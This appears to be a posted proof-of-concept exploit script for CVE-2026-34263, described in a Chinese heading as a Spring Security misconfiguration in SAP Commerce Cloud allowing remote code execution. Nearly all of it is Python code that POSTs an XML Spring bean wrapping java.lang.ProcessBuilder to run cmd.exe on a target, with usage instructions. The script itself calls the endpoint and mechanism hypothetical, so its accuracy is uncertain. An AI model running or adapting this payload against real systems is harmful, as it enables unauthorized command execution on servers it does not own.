CVE-2026-34263: SAP Commerce Cloud Spring Security配置不当导致远程代码执行漏洞

#!/usr/bin/env python3 """ Conceptual Proof of Concept for CVE-2026-34263 Demonstrates the potential mechanism of uploading a malicious configuration leading to code execution due to improper Spring Security configuration. """ import requests import sys # Target URL (Example) TARGET_URL = "http://target-sap-commerce:8080" UPLOAD_ENDPOINT = "/webservices/legacy/config/upload" # Hypothetical vulnerable endpoint # Malicious configuration payload concept # In a real scenario, this might be a Spring bean definition or a specific SAP configuration format # that triggers dynamic class loading or script execution. MALICIOUS_PAYLOAD = """ <bean id="maliciousBean" class="java.lang.ProcessBuilder"> <constructor-arg> <list> <value>cmd.exe</value> <value>/c</value> <value>echo Vulnerable > C:\pwned.txt</value> </list> </constructor-arg> <property name="redirectErrorStream" value="true" /> </bean> """ def exploit(target): print(f"[*] Attempting to exploit {target}...") headers = { "User-Agent": "CVE-2026-34263-Scanner", "Content-Type": "application/xml" } try: # Step 1: Upload malicious configuration print("[*] Sending malicious configuration payload...") response = requests.post( f"{target}{UPLOAD_ENDPOINT}", data=MALICIOUS_PAYLOAD, headers=headers, timeout=10 ) if response.status_code == 200: print("[+] Upload successful! Configuration accepted.") print("[+] Check if code execution occurred (e.g., file creation).") else: print(f"[-] Upload failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error during exploitation: {e}") if __name__ == "__main__": if len(sys.argv) > 1: exploit(sys.argv[1]) else: print("Usage: python3 poc.py <target_url>") print("Example: python3 poc.py http://127.0.0.1:8080")